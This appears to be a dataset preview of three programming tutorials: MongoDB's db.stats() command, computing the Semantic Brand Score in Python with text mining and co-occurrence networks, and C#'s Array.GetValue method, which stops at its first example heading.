title
stringlengths 3
221
| text
stringlengths 17
477k
| parsed
listlengths 0
3.17k
|
---|---|---|
Get database data size in MongoDB?
|
To get the database data size in MongoDB, you can use stats() method. The syntax is as follows −
db.stats();
Let us use the database with the name ‘test’.
Now, check the current database with the help of the following query −
> db;
The following is the output −
test
Here is the query to get database data size in MongoDB −
> db.stats()
The following is the output −
{
"db" : "test",
"collections" : 114,
"views" : 0,
"objects" : 391,
"avgObjSize" : 83.0076726342711,
"dataSize" : 32456,
"storageSize" : 3211264,
"numExtents" : 0,
"indexes" : 120,
"indexSize" : 2494464,
"fsUsedSize" : 126172377088,
"fsTotalSize" : 199229435904,
"ok" : 1
}
Switch to the database ‘sample’. The query is as follows −
> use sample;
switched to db sample
Let us check the currently used database name using db command. The query is as follows −
> db;
The following is the output −
Sample
Let us check the database ‘sample’ data size in MongoDB. The query is as follows −
> db.stats();
The following is the output −
{
"db" : "sample",
"collections" : 25,
"views" : 0,
"objects" : 67,
"avgObjSize" : 85.32835820895522,
"dataSize" : 5717,
"storageSize" : 626688,
"numExtents" : 0,
"indexes" : 24,
"indexSize" : 610304,
"fsUsedSize" : 126173016064,
"fsTotalSize" : 199229435904,
"ok" : 1
}
|
[
{
"code": null,
"e": 1159,
"s": 1062,
"text": "To get the database data size in MongoDB, you can use stats() method. The syntax is as follows −"
},
{
"code": null,
"e": 1171,
"s": 1159,
"text": "db.stats();"
},
{
"code": null,
"e": 1217,
"s": 1171,
"text": "Let us use the database with the name ‘test’."
},
{
"code": null,
"e": 1288,
"s": 1217,
"text": "Now, check the current database with the help of the following query −"
},
{
"code": null,
"e": 1294,
"s": 1288,
"text": "> db;"
},
{
"code": null,
"e": 1324,
"s": 1294,
"text": "The following is the output −"
},
{
"code": null,
"e": 1329,
"s": 1324,
"text": "test"
},
{
"code": null,
"e": 1386,
"s": 1329,
"text": "Here is the query to get database data size in MongoDB −"
},
{
"code": null,
"e": 1399,
"s": 1386,
"text": "> db.stats()"
},
{
"code": null,
"e": 1429,
"s": 1399,
"text": "The following is the output −"
},
{
"code": null,
"e": 1742,
"s": 1429,
"text": "{\n \"db\" : \"test\",\n \"collections\" : 114,\n \"views\" : 0,\n \"objects\" : 391,\n \"avgObjSize\" : 83.0076726342711,\n \"dataSize\" : 32456,\n \"storageSize\" : 3211264,\n \"numExtents\" : 0,\n \"indexes\" : 120,\n \"indexSize\" : 2494464,\n \"fsUsedSize\" : 126172377088,\n \"fsTotalSize\" : 199229435904,\n \"ok\" : 1\n}"
},
{
"code": null,
"e": 1801,
"s": 1742,
"text": "Switch to the database ‘sample’. The query is as follows −"
},
{
"code": null,
"e": 1837,
"s": 1801,
"text": "> use sample;\nswitched to db sample"
},
{
"code": null,
"e": 1927,
"s": 1837,
"text": "Let us check the currently used database name using db command. The query is as follows −"
},
{
"code": null,
"e": 1933,
"s": 1927,
"text": "> db;"
},
{
"code": null,
"e": 1963,
"s": 1933,
"text": "The following is the output −"
},
{
"code": null,
"e": 1970,
"s": 1963,
"text": "Sample"
},
{
"code": null,
"e": 2053,
"s": 1970,
"text": "Let us check the database ‘sample’ data size in MongoDB. The query is as follows −"
},
{
"code": null,
"e": 2067,
"s": 2053,
"text": "> db.stats();"
},
{
"code": null,
"e": 2097,
"s": 2067,
"text": "The following is the output −"
},
{
"code": null,
"e": 2407,
"s": 2097,
"text": "{\n \"db\" : \"sample\",\n \"collections\" : 25,\n \"views\" : 0,\n \"objects\" : 67,\n \"avgObjSize\" : 85.32835820895522,\n \"dataSize\" : 5717,\n \"storageSize\" : 626688,\n \"numExtents\" : 0,\n \"indexes\" : 24,\n \"indexSize\" : 610304,\n \"fsUsedSize\" : 126173016064,\n \"fsTotalSize\" : 199229435904,\n \"ok\" : 1\n}"
}
] |
Calculating the Semantic Brand Score with Python | by Andrea Fronzetti Colladon | Towards Data Science
|
The Semantic Brand Score (SBS) is a novel metric designed to assess the importance of one or more brands, in different contexts and whenever it is possible to analyze textual data, even big data.
The advantage with respect to some traditional measures is that the SBS does not rely on surveys administered to small samples of consumers. The measure can be calculated on any source of text documents, such as newspaper articles, emails, tweets, posts on online forums, blogs and social media. The idea is to capture insights and honest signals through the analysis of big textual data. Spontaneous expressions of consumers, or other brand stakeholders, can be collected from the places where they normally appear— for example a travel forum, if studying the importance of museum brands. This has the advantage of reducing the biases induced by the use of questionnaires, where interviewees know that they are being observed. The SBS can also be adapted to different languages and to study the importance of specific words, or set of words, not necessarily ‘brands’.
By ‘brand’ one can intend the name of a politician, or a set of words that represent a concept (for example, the concept of “innovation” or a corporate core value). The measure was used to evaluate the transition dynamics that occur when a new brand replaces an old one[1]. The Semantic Brand Score is also useful to relate the importance of a brand to that of its competitors, or to analyze importance time trends of a single brand. In some applications, the score proved to be useful for forecasting purposes; for example, a link has been found between brand importance of political candidates in online press and election outcomes [4], or between the importance of museum brands and trends in the number of visitors [6]. An update list of publications using the SBS is available here.
The SBS measures brand importance, which is at the basis of brand equity [1]. Indeed the metric was partially inspired by well-known conceptualizations of brand equity and by the constructs of brand image and brand awareness (see for example the work of Keller) [2].
Brand importance is measured along 3 dimensions: prevalence, diversity and connectivity. Prevalence measures the frequency of use of the brand name, i.e. the number of times a brand is directly mentioned. Diversity measures the diversity of the words associated with the brand. Connectivity represents the brand ability to bridge connections between other words or groups of words (sometimes seen as discourse topics).
More information about the SBS can be found on this website [5], on Wikipedia, or reading this paper [1]. In this article I will not spend too much time on the metric, as my focus is to describe the main steps for calculating it using Python 3.
The calculation of the Semantic Brand Score requires combining methods and tools of text mining and social network analysis. Figure 1 illustrates the main preliminary steps, which comprise data collection, text pre-processing and construction of word co-occurrence networks.
For this introductory tutorial, we can assume that relevant textual data has already been collected and organized in a text file, where each new line is a different document. I will just insert two imaginary brands (‘BrandA’ and ‘BrandB’) into random English text.
The updated GitHub repository for this demo is available here. There you will find a Python notebook, together with example files.
# Read text documents from an example CSV fileimport csvreadfile = csv.reader(open("AliceWonderland.csv", 'rt', encoding="utf8"), delimiter = "|", quoting=csv.QUOTE_NONE)texts = [line[0] for line in readfile]#I imported 4 Chapters of Alice in Wonderlandprint(len(texts))print(texts[0][:200])
I imported the text file in Python as a list of text documents (texts), which are now processed to remove punctuation, stop-words and special characters. Words are lowercased and split into tokens, thus obtaining a new texts variable, which is a list of lists. More complex operations of text preprocessing are always possible (such as the removal of html tags or ‘#’), for which I recommend reading one of many tutorials on Natural Language Processing in Python. The stopwords list is taken from the NLTK package. Lastly, word affixes are remove through Snowball Stemming.
##Import re, string and nltk, and download stop-wordsimport reimport nltkimport stringfrom nltk.stem.snowball import SnowballStemmer#Define stopwords#nltk.download("stopwords")stopw = nltk.corpus.stopwords.words('english')#Define brands (lowercase)brands = ['alice', 'rabbit']# texts is a list of strings, one for each document analyzed.#Convert to lowercasetexts = [t.lower() for t in texts]#Remove words that start with HTTPtexts = [re.sub(r"http\S+", " ", t) for t in texts]#Remove words that start with WWWtexts = [re.sub(r"www\S+", " ", t) for t in texts]#Remove punctuationregex = re.compile('[%s]' % re.escape(string.punctuation))texts = [regex.sub(' ', t) for t in texts]#Remove words made of single letterstexts = [re.sub(r'\b\w{1}\b', ' ', t) for t in texts]#Remove stopwordspattern = re.compile(r'\b(' + r'|'.join(stopw) + r')\b\s*')texts = [pattern.sub(' ', t) for t in texts]#Remove additional whitespacestexts = [re.sub(' +',' ',t) for t in texts]#Tokenize text documents (becomes a list of lists)texts = [t.split() for t in texts]# Snowball Stemmingstemmer = SnowballStemmer("english")texts = [[stemmer.stem(w) if w not in brands else w for w in t] for t in texts]texts[0][:6]
During text preprocessing we should pay attention not to lose useful information. Smileys :-), made of punctuation, can be very important if we calculate sentiment.
We can now proceed with the calculation of prevalence, which counts the frequency of occurrence of each brand name — subsequently standardized considering the scores of all the words in the texts. My choice of standardization here is to subtract the mean and divide by the standard deviation. Other approaches are also possible [1]. This step is important to compare measures carried out considering different time frames or sets of documents (e.g. brand importance on Twitter in April and May). Normalization of absolute scores is necessary before summing prevalence, diversity and connectivity to obtain the Semantic Brand Score.
#PREVALENCE#Import Counter and Numpyfrom collections import Counterimport numpy as np#Create a dictionary with frequency counts for each wordcountPR = Counter()for t in texts: countPR.update(Counter(t))#Calculate average score and standard deviationavgPR = np.mean(list(countPR.values()))stdPR = np.std(list(countPR.values()))#Calculate standardized Prevalence for each brandPREVALENCE = {}for brand in brands: PR_brand = (countPR[brand] - avgPR) / stdPR PREVALENCE[brand] = PR_brand print("Prevalence", brand, PR_brand)
Next and most important step is to transform texts (list of lists of tokens) into a social network where nodes are words and links are weighted according to the number of co-occurrences between each pair of words. In this step we have to define a co-occurrence range, i.e. a maximum distance between co-occurring words (here is set to 7). In addition, we might want to remove links which represent negligible co-occurrences, for example those of weight = 1. Sometimes it can also be useful to remove isolates, if these are not brands.
#Import Networkximport networkx as nx#Choose a co-occurrence rangeco_range = 7#Create an undirected Network GraphG = nx.Graph()#Each word is a network nodenodes = set([item for sublist in texts for item in sublist])G.add_nodes_from(nodes)#Add links based on co-occurrencesfor doc in texts: w_list = [] length= len(doc) for k, w in enumerate(doc): #Define range, based on document length if (k+co_range) >= length: superior = length else: superior = k+co_range+1 #Create the list of co-occurring words if k < length-1: for i in range(k+1,superior): linked_word = doc[i].split() w_list = w_list + linked_word #If the list is not empty, create the network links if w_list: for p in w_list: if G.has_edge(w,p): G[w][p]['weight'] += 1 else: G.add_edge(w, p, weight=1) w_list = []#Remove negligible co-occurrences based on a filterlink_filter = 2#Create a new Graph which has only links above#the minimum co-occurrence thresholdG_filtered = nx.Graph() G_filtered.add_nodes_from(G)for u,v,data in G.edges(data=True): if data['weight'] >= link_filter: G_filtered.add_edge(u, v, weight=data['weight'])#Optional removal of isolatesisolates = set(nx.isolates(G_filtered))isolates -= set(brands)G_filtered.remove_nodes_from(isolates)#Check the resulting graph (for small test graphs)#G_filtered.nodes()#G_filtered.edges(data = True)print("Filtered Network\nNo. of Nodes:", G_filtered.number_of_nodes(), "No. of Edges:", G_filtered.number_of_edges())
Having determined the co-occurrence network, we can now calculate diversity and connectivity, which are distinctiveness centrality (previously we used degree) and weighted betweenness centrality of a brand node. We standardize these values as we did with prevalence. More information about distinctiveness centrality is given in this paper [7] and on this post. You will also need to install the Python distinctivenss package.
#INSTALL AND IMPORT THE DISTINCTIVENESS PACKAGE#pip install -U distinctivenessfrom distinctiveness.dc import distinctiveness#DIVERSITY#Calculate Distinctiveness CentralityDC = distinctiveness(G_filtered, normalize = False, alpha = 1)DIVERSITY_sequence=DC["D2"]#Calculate average score and standard deviationavgDI = np.mean(list(DIVERSITY_sequence.values()))stdDI = np.std(list(DIVERSITY_sequence.values()))#Calculate standardized Diversity for each brandDIVERSITY = {}for brand in brands: DI_brand = (DIVERSITY_sequence[brand] - avgDI) / stdDI DIVERSITY[brand] = DI_brand print("Diversity", brand, DI_brand)
If we calculate connectivity as weighted betweenness centraliy, we first have to define inverse weights, as weights are treated by Networkx as distances (which is the opposite of our case).
#Define inverse weights for u,v,data in G_filtered.edges(data=True): if 'weight' in data and data['weight'] != 0: data['inverse'] = 1/data['weight'] else: data['inverse'] = 1#CONNECTIVITYCONNECTIVITY_sequence=nx.betweenness_centrality(G_filtered, normalized=False, weight ='inverse')#Calculate average score and standard deviationavgCO = np.mean(list(CONNECTIVITY_sequence.values()))stdCO = np.std(list(CONNECTIVITY_sequence.values()))#Calculate standardized Prevalence for each brandCONNECTIVITY = {}for brand in brands: CO_brand = (CONNECTIVITY_sequence[brand] - avgCO) / stdCO CONNECTIVITY[brand] = CO_brand print("Connectivity", brand, CO_brand)
The Semantic Brand Score of each brand is finally obtained by summing the standardized values of prevalence, diversity and connectivity. Different approaches are also possible, such as taking the geometric mean of unstandardized coefficients.
#Obtain the Semantic Brand Score of each brandSBS = {}for brand in brands: SBS[brand] = PREVALENCE[brand] + DIVERSITY[brand] + CONNECTIVITY[brand] print("SBS", brand, SBS[brand])#Generate a final pandas data frame with all resultsimport pandas as pdPREVALENCE = pd.DataFrame.from_dict(PREVALENCE, orient="index", columns = ["PREVALENCE"])DIVERSITY = pd.DataFrame.from_dict(DIVERSITY, orient="index", columns = ["DIVERSITY"])CONNECTIVITY = pd.DataFrame.from_dict(CONNECTIVITY, orient="index", columns = ["CONNECTIVITY"])SBS = pd.DataFrame.from_dict(SBS, orient="index", columns = ["SBS"])SBS = pd.concat([PREVALENCE, DIVERSITY, CONNECTIVITY, SBS], axis=1, sort=False)SBS
This link points to a short demo of the analyses that can be carried out, once the SBS has been calculated [8]. Word co-occurence networks can additionally be used to study textual brand associations, in order to infer unique and shared brand characteristics. The calculation of brand sentiment can also complement the analysis.
This article provided a brief introduction to the Semantic Brand Score and a short tutorial for its simplified calculation using Python 3. While learning the basics, we should remember that there are many choices that can be made and would influence results. For example, one could choose different weighting schemes, or normalization approaches, to combine the 3 dimensions into a single score. Particular attention should be paid to the selection of an appropriate word co-occurrence range. Moreover, different techniques can be used to prune those links which supposedly represent negligible co-occurrences.
Lastly, the final code will be much more complex if the calculation is carried out on big data. Metrics such as betweenness centrality have a high computational complexity on large graphs. Graph-Tool is a library that helped me a lot, as its performance is significantly higher than Networkx. In some cases, complexity can be reduced working on the initial dataset. With online news, for example, one could choose to analyze just their title and first paragraph instead of their full content.
As a self-learned Python programmer, I will appreciate any comment or suggestion you might have about the metric and its efficient calculation. Feel always free to contact me.
You can also check the notebook available in the GitHub repository for this demo (here).
[1] Fronzetti Colladon, A. (2018). The Semantic Brand Score. Journal of Business Research, 88, 150–160. https://doi.org/10.1016/j.jbusres.2018.03.026
[2] Keller, K. L. (1993). Conceptualizing, Measuring, and Managing Customer-Based Brand Equity. Journal of Marketing, 57(1), 1–22.
[3] Semantic Brand Score page on Wikipedia.
[4] Fronzetti Colladon, A. (2020). Forecasting election results by studying brand importance in online news. International Journal of Forecasting, 36(2), 414–427. https://doi.org/10.1016/j.ijforecast.2019.05.013
[5] Semanticbrandscore.com, the metric website, with updated links and information
[6] Fronzetti Colladon, A., Grippa, F., & Innarella, R. (2020). Studying the association of online brand importance with museum visitors: An application of the semantic brand score. Tourism Management Perspectives, 33, 100588. https://doi.org/10.1016/j.tmp.2019.100588
[7] Fronzetti Colladon, A., & Naldi, M. (2020). Distinctiveness Centrality in Social Networks. PLoS ONE, 15(5), e0233276. https://doi.org/10.1371/journal.pone.0233276
[8] Fronzetti Colladon, A., & Grippa, F. (2020). Brand Intelligence Analytics. In A. Przegalinska, F. Grippa, & P. A. Gloor (Eds.), Digital Transformation of Collaboration (pp. 125–141). Springer Nature Switzerland. https://doi.org/10.1007/978-3-030-48993-9_10
Some rights reserved
|
[
{
"code": null,
"e": 368,
"s": 172,
"text": "The Semantic Brand Score (SBS) is a novel metric designed to assess the importance of one or more brands, in different contexts and whenever it is possible to analyze textual data, even big data."
},
{
"code": null,
"e": 1237,
"s": 368,
"text": "The advantage with respect to some traditional measures is that the SBS does not rely on surveys administered to small samples of consumers. The measure can be calculated on any source of text documents, such as newspaper articles, emails, tweets, posts on online forums, blogs and social media. The idea is to capture insights and honest signals through the analysis of big textual data. Spontaneous expressions of consumers, or other brand stakeholders, can be collected from the places where they normally appear— for example a travel forum, if studying the importance of museum brands. This has the advantage of reducing the biases induced by the use of questionnaires, where interviewees know that they are being observed. The SBS can also be adapted to different languages and to study the importance of specific words, or set of words, not necessarily ‘brands’."
},
{
"code": null,
"e": 2025,
"s": 1237,
"text": "By ‘brand’ one can intend the name of a politician, or a set of words that represent a concept (for example, the concept of “innovation” or a corporate core value). The measure was used to evaluate the transition dynamics that occur when a new brand replaces an old one[1]. The Semantic Brand Score is also useful to relate the importance of a brand to that of its competitors, or to analyze importance time trends of a single brand. In some applications, the score proved to be useful for forecasting purposes; for example, a link has been found between brand importance of political candidates in online press and election outcomes [4], or between the importance of museum brands and trends in the number of visitors [6]. An update list of publications using the SBS is available here."
},
{
"code": null,
"e": 2292,
"s": 2025,
"text": "The SBS measures brand importance, which is at the basis of brand equity [1]. Indeed the metric was partially inspired by well-known conceptualizations of brand equity and by the constructs of brand image and brand awareness (see for example the work of Keller) [2]."
},
{
"code": null,
"e": 2711,
"s": 2292,
"text": "Brand importance is measured along 3 dimensions: prevalence, diversity and connectivity. Prevalence measures the frequency of use of the brand name, i.e. the number of times a brand is directly mentioned. Diversity measures the diversity of the words associated with the brand. Connectivity represents the brand ability to bridge connections between other words or groups of words (sometimes seen as discourse topics)."
},
{
"code": null,
"e": 2956,
"s": 2711,
"text": "More information about the SBS can be found on this website [5], on Wikipedia, or reading this paper [1]. In this article I will not spend too much time on the metric, as my focus is to describe the main steps for calculating it using Python 3."
},
{
"code": null,
"e": 3231,
"s": 2956,
"text": "The calculation of the Semantic Brand Score requires combining methods and tools of text mining and social network analysis. Figure 1 illustrates the main preliminary steps, which comprise data collection, text pre-processing and construction of word co-occurrence networks."
},
{
"code": null,
"e": 3496,
"s": 3231,
"text": "For this introductory tutorial, we can assume that relevant textual data has already been collected and organized in a text file, where each new line is a different document. I will just insert two imaginary brands (‘BrandA’ and ‘BrandB’) into random English text."
},
{
"code": null,
"e": 3627,
"s": 3496,
"text": "The updated GitHub repository for this demo is available here. There you will find a Python notebook, together with example files."
},
{
"code": null,
"e": 3920,
"s": 3627,
"text": "# Read text documents from an example CSV fileimport csvreadfile = csv.reader(open(\"AliceWonderland.csv\", 'rt', encoding=\"utf8\"), delimiter = \"|\", quoting=csv.QUOTE_NONE)texts = [line[0] for line in readfile]#I imported 4 Chapters of Alice in Wonderlandprint(len(texts))print(texts[0][:200])"
},
{
"code": null,
"e": 4494,
"s": 3920,
"text": "I imported the text file in Python as a list of text documents (texts), which are now processed to remove punctuation, stop-words and special characters. Words are lowercased and split into tokens, thus obtaining a new texts variable, which is a list of lists. More complex operations of text preprocessing are always possible (such as the removal of html tags or ‘#’), for which I recommend reading one of many tutorials on Natural Language Processing in Python. The stopwords list is taken from the NLTK package. Lastly, word affixes are remove through Snowball Stemming."
},
{
"code": null,
"e": 5686,
"s": 4494,
"text": "##Import re, string and nltk, and download stop-wordsimport reimport nltkimport stringfrom nltk.stem.snowball import SnowballStemmer#Define stopwords#nltk.download(\"stopwords\")stopw = nltk.corpus.stopwords.words('english')#Define brands (lowercase)brands = ['alice', 'rabbit']# texts is a list of strings, one for each document analyzed.#Convert to lowercasetexts = [t.lower() for t in texts]#Remove words that start with HTTPtexts = [re.sub(r\"http\\S+\", \" \", t) for t in texts]#Remove words that start with WWWtexts = [re.sub(r\"www\\S+\", \" \", t) for t in texts]#Remove punctuationregex = re.compile('[%s]' % re.escape(string.punctuation))texts = [regex.sub(' ', t) for t in texts]#Remove words made of single letterstexts = [re.sub(r'\\b\\w{1}\\b', ' ', t) for t in texts]#Remove stopwordspattern = re.compile(r'\\b(' + r'|'.join(stopw) + r')\\b\\s*')texts = [pattern.sub(' ', t) for t in texts]#Remove additional whitespacestexts = [re.sub(' +',' ',t) for t in texts]#Tokenize text documents (becomes a list of lists)texts = [t.split() for t in texts]# Snowball Stemmingstemmer = SnowballStemmer(\"english\")texts = [[stemmer.stem(w) if w not in brands else w for w in t] for t in texts]texts[0][:6]"
},
{
"code": null,
"e": 5851,
"s": 5686,
"text": "During text preprocessing we should pay attention not to lose useful information. Smileys :-), made of punctuation, can be very important if we calculate sentiment."
},
{
"code": null,
"e": 6483,
"s": 5851,
"text": "We can now proceed with the calculation of prevalence, which counts the frequency of occurrence of each brand name — subsequently standardized considering the scores of all the words in the texts. My choice of standardization here is to subtract the mean and divide by the standard deviation. Other approaches are also possible [1]. This step is important to compare measures carried out considering different time frames or sets of documents (e.g. brand importance on Twitter in April and May). Normalization of absolute scores is necessary before summing prevalence, diversity and connectivity to obtain the Semantic Brand Score."
},
{
"code": null,
"e": 7016,
"s": 6483,
"text": "#PREVALENCE#Import Counter and Numpyfrom collections import Counterimport numpy as np#Create a dictionary with frequency counts for each wordcountPR = Counter()for t in texts: countPR.update(Counter(t))#Calculate average score and standard deviationavgPR = np.mean(list(countPR.values()))stdPR = np.std(list(countPR.values()))#Calculate standardized Prevalence for each brandPREVALENCE = {}for brand in brands: PR_brand = (countPR[brand] - avgPR) / stdPR PREVALENCE[brand] = PR_brand print(\"Prevalence\", brand, PR_brand)"
},
{
"code": null,
"e": 7551,
"s": 7016,
"text": "Next and most important step is to transform texts (list of lists of tokens) into a social network where nodes are words and links are weighted according to the number of co-occurrences between each pair of words. In this step we have to define a co-occurrence range, i.e. a maximum distance between co-occurring words (here is set to 7). In addition, we might want to remove links which represent negligible co-occurrences, for example those of weight = 1. Sometimes it can also be useful to remove isolates, if these are not brands."
},
{
"code": null,
"e": 9210,
"s": 7551,
"text": "#Import Networkximport networkx as nx#Choose a co-occurrence rangeco_range = 7#Create an undirected Network GraphG = nx.Graph()#Each word is a network nodenodes = set([item for sublist in texts for item in sublist])G.add_nodes_from(nodes)#Add links based on co-occurrencesfor doc in texts: w_list = [] length= len(doc) for k, w in enumerate(doc): #Define range, based on document length if (k+co_range) >= length: superior = length else: superior = k+co_range+1 #Create the list of co-occurring words if k < length-1: for i in range(k+1,superior): linked_word = doc[i].split() w_list = w_list + linked_word #If the list is not empty, create the network links if w_list: for p in w_list: if G.has_edge(w,p): G[w][p]['weight'] += 1 else: G.add_edge(w, p, weight=1) w_list = []#Remove negligible co-occurrences based on a filterlink_filter = 2#Create a new Graph which has only links above#the minimum co-occurrence thresholdG_filtered = nx.Graph() G_filtered.add_nodes_from(G)for u,v,data in G.edges(data=True): if data['weight'] >= link_filter: G_filtered.add_edge(u, v, weight=data['weight'])#Optional removal of isolatesisolates = set(nx.isolates(G_filtered))isolates -= set(brands)G_filtered.remove_nodes_from(isolates)#Check the resulting graph (for small test graphs)#G_filtered.nodes()#G_filtered.edges(data = True)print(\"Filtered Network\\nNo. of Nodes:\", G_filtered.number_of_nodes(), \"No. of Edges:\", G_filtered.number_of_edges())"
},
{
"code": null,
"e": 9637,
"s": 9210,
"text": "Having determined the co-occurrence network, we can now calculate diversity and connectivity, which are distinctiveness centrality (previously we used degree) and weighted betweenness centrality of a brand node. We standardize these values as we did with prevalence. More information about distinctiveness centrality is given in this paper [7] and on this post. You will also need to install the Python distinctivenss package."
},
{
"code": null,
"e": 10254,
"s": 9637,
"text": "#INSTALL AND IMPORT THE DISTINCTIVENESS PACKAGE#pip install -U distinctivenessfrom distinctiveness.dc import distinctiveness#DIVERSITY#Calculate Distinctiveness CentralityDC = distinctiveness(G_filtered, normalize = False, alpha = 1)DIVERSITY_sequence=DC[\"D2\"]#Calculate average score and standard deviationavgDI = np.mean(list(DIVERSITY_sequence.values()))stdDI = np.std(list(DIVERSITY_sequence.values()))#Calculate standardized Diversity for each brandDIVERSITY = {}for brand in brands: DI_brand = (DIVERSITY_sequence[brand] - avgDI) / stdDI DIVERSITY[brand] = DI_brand print(\"Diversity\", brand, DI_brand)"
},
{
"code": null,
"e": 10444,
"s": 10254,
"text": "If we calculate connectivity as weighted betweenness centraliy, we first have to define inverse weights, as weights are treated by Networkx as distances (which is the opposite of our case)."
},
{
"code": null,
"e": 11123,
"s": 10444,
"text": "#Define inverse weights for u,v,data in G_filtered.edges(data=True): if 'weight' in data and data['weight'] != 0: data['inverse'] = 1/data['weight'] else: data['inverse'] = 1#CONNECTIVITYCONNECTIVITY_sequence=nx.betweenness_centrality(G_filtered, normalized=False, weight ='inverse')#Calculate average score and standard deviationavgCO = np.mean(list(CONNECTIVITY_sequence.values()))stdCO = np.std(list(CONNECTIVITY_sequence.values()))#Calculate standardized Prevalence for each brandCONNECTIVITY = {}for brand in brands: CO_brand = (CONNECTIVITY_sequence[brand] - avgCO) / stdCO CONNECTIVITY[brand] = CO_brand print(\"Connectivity\", brand, CO_brand)"
},
{
"code": null,
"e": 11366,
"s": 11123,
"text": "The Semantic Brand Score of each brand is finally obtained by summing the standardized values of prevalence, diversity and connectivity. Different approaches are also possible, such as taking the geometric mean of unstandardized coefficients."
},
{
"code": null,
"e": 12042,
"s": 11366,
"text": "#Obtain the Semantic Brand Score of each brandSBS = {}for brand in brands: SBS[brand] = PREVALENCE[brand] + DIVERSITY[brand] + CONNECTIVITY[brand] print(\"SBS\", brand, SBS[brand])#Generate a final pandas data frame with all resultsimport pandas as pdPREVALENCE = pd.DataFrame.from_dict(PREVALENCE, orient=\"index\", columns = [\"PREVALENCE\"])DIVERSITY = pd.DataFrame.from_dict(DIVERSITY, orient=\"index\", columns = [\"DIVERSITY\"])CONNECTIVITY = pd.DataFrame.from_dict(CONNECTIVITY, orient=\"index\", columns = [\"CONNECTIVITY\"])SBS = pd.DataFrame.from_dict(SBS, orient=\"index\", columns = [\"SBS\"])SBS = pd.concat([PREVALENCE, DIVERSITY, CONNECTIVITY, SBS], axis=1, sort=False)SBS"
},
{
"code": null,
"e": 12371,
"s": 12042,
"text": "This link points to a short demo of the analyses that can be carried out, once the SBS has been calculated [8]. Word co-occurence networks can additionally be used to study textual brand associations, in order to infer unique and shared brand characteristics. The calculation of brand sentiment can also complement the analysis."
},
{
"code": null,
"e": 12982,
"s": 12371,
"text": "This article provided a brief introduction to the Semantic Brand Score and a short tutorial for its simplified calculation using Python 3. While learning the basics, we should remember that there are many choices that can be made and would influence results. For example, one could choose different weighting schemes, or normalization approaches, to combine the 3 dimensions into a single score. Particular attention should be paid to the selection of an appropriate word co-occurrence range. Moreover, different techniques can be used to prune those links which supposedly represent negligible co-occurrences."
},
{
"code": null,
"e": 13475,
"s": 12982,
"text": "Lastly, the final code will be much more complex if the calculation is carried out on big data. Metrics such as betweenness centrality have a high computational complexity on large graphs. Graph-Tool is a library that helped me a lot, as its performance is significantly higher than Networkx. In some cases, complexity can be reduced working on the initial dataset. With online news, for example, one could choose to analyze just their title and first paragraph instead of their full content."
},
{
"code": null,
"e": 13651,
"s": 13475,
"text": "As a self-learned Python programmer, I will appreciate any comment or suggestion you might have about the metric and its efficient calculation. Feel always free to contact me."
},
{
"code": null,
"e": 13740,
"s": 13651,
"text": "You can also check the notebook available in the GitHub repository for this demo (here)."
},
{
"code": null,
"e": 13890,
"s": 13740,
"text": "[1] Fronzetti Colladon, A. (2018). The Semantic Brand Score. Journal of Business Research, 88, 150–160. https://doi.org/10.1016/j.jbusres.2018.03.026"
},
{
"code": null,
"e": 14021,
"s": 13890,
"text": "[2] Keller, K. L. (1993). Conceptualizing, Measuring, and Managing Customer-Based Brand Equity. Journal of Marketing, 57(1), 1–22."
},
{
"code": null,
"e": 14065,
"s": 14021,
"text": "[3] Semantic Brand Score page on Wikipedia."
},
{
"code": null,
"e": 14277,
"s": 14065,
"text": "[4] Fronzetti Colladon, A. (2020). Forecasting election results by studying brand importance in online news. International Journal of Forecasting, 36(2), 414–427. https://doi.org/10.1016/j.ijforecast.2019.05.013"
},
{
"code": null,
"e": 14360,
"s": 14277,
"text": "[5] Semanticbrandscore.com, the metric website, with updated links and information"
},
{
"code": null,
"e": 14629,
"s": 14360,
"text": "[6] Fronzetti Colladon, A., Grippa, F., & Innarella, R. (2020). Studying the association of online brand importance with museum visitors: An application of the semantic brand score. Tourism Management Perspectives, 33, 100588. https://doi.org/10.1016/j.tmp.2019.100588"
},
{
"code": null,
"e": 14796,
"s": 14629,
"text": "[7] Fronzetti Colladon, A., & Naldi, M. (2020). Distinctiveness Centrality in Social Networks. PLoS ONE, 15(5), e0233276. https://doi.org/10.1371/journal.pone.0233276"
},
{
"code": null,
"e": 15057,
"s": 14796,
"text": "[8] Fronzetti Colladon, A., & Grippa, F. (2020). Brand Intelligence Analytics. In A. Przegalinska, F. Grippa, & P. A. Gloor (Eds.), Digital Transformation of Collaboration (pp. 125–141). Springer Nature Switzerland. https://doi.org/10.1007/978-3-030-48993-9_10"
}
] |
Array.GetValue() Method in C# with Examples | Set – 3 - GeeksforGeeks
|
23 Mar, 2022
Array.GetValue() Method in C# is used to gets the value of the specified element in the current Array. There are total 8 methods in the overload list of this method which are as follows:
Array.GetValue(Int32, Int32)
Array.GetValue(Int64, Int64)
Array.GetValue(Int32)
Array.GetValue(Int64)
Array.GetValue(Int32, Int32, Int32)
Array.GetValue(Int64, Int64, Int64)
Array.GetValue(Int32[])
Array.GetValue(Int64[])
In this article we are explaining Array.GetValue(Int32, Int32, Int32) and Array.GetValue(Int64, Int64, Int64) method.
Array.GetValue(Int32, Int32, Int32) method is used to get the value at the specified position in the three-dimensional Array. The indexes are specified as 32-bit integers. Syntax:
public object GetValue (int index1, int index2, int index3);
Here,
“index1” is the number of array in which the element is located.
“index2” is the index of the row in which the element is located.
“index3” is the index of the column in which the element is located.
Returns: This method returns the element at the specified index define by the passed parameters in the 3D array. The value is a 32-bit integer value.
Exceptions:
ArgumentException: The current Array does not have exactly Three dimensions.
IndexOutOfRangeException: If index1 or index2 or index3 is outside the range of valid indexes for the corresponding dimension of the current Array.
Array.GetValue(Int64, Int64, Int64) method is used to get the value at the specified position in the three-dimensional Array. The indexes are specified as 64-bit integers. Syntax:
public object GetValue (long index1, long index2, long index3);
Here,
“index1” is the number of array in which the element is located.
“index2” is the index of the row in which the element is located.
“index3” is the index of the column in which the element is located.
Returns: This method returns the element at the specified index define by the passed parameters in the 3D array. The value is a 64-bit integer value.
Exceptions:
ArgumentException: The current Array does not have exactly three dimensions.
IndexOutOfRangeException: If index1 or index2 or index2 is outside the range of valid indexes for the corresponding dimension of the current Array.
Example 1:
C#
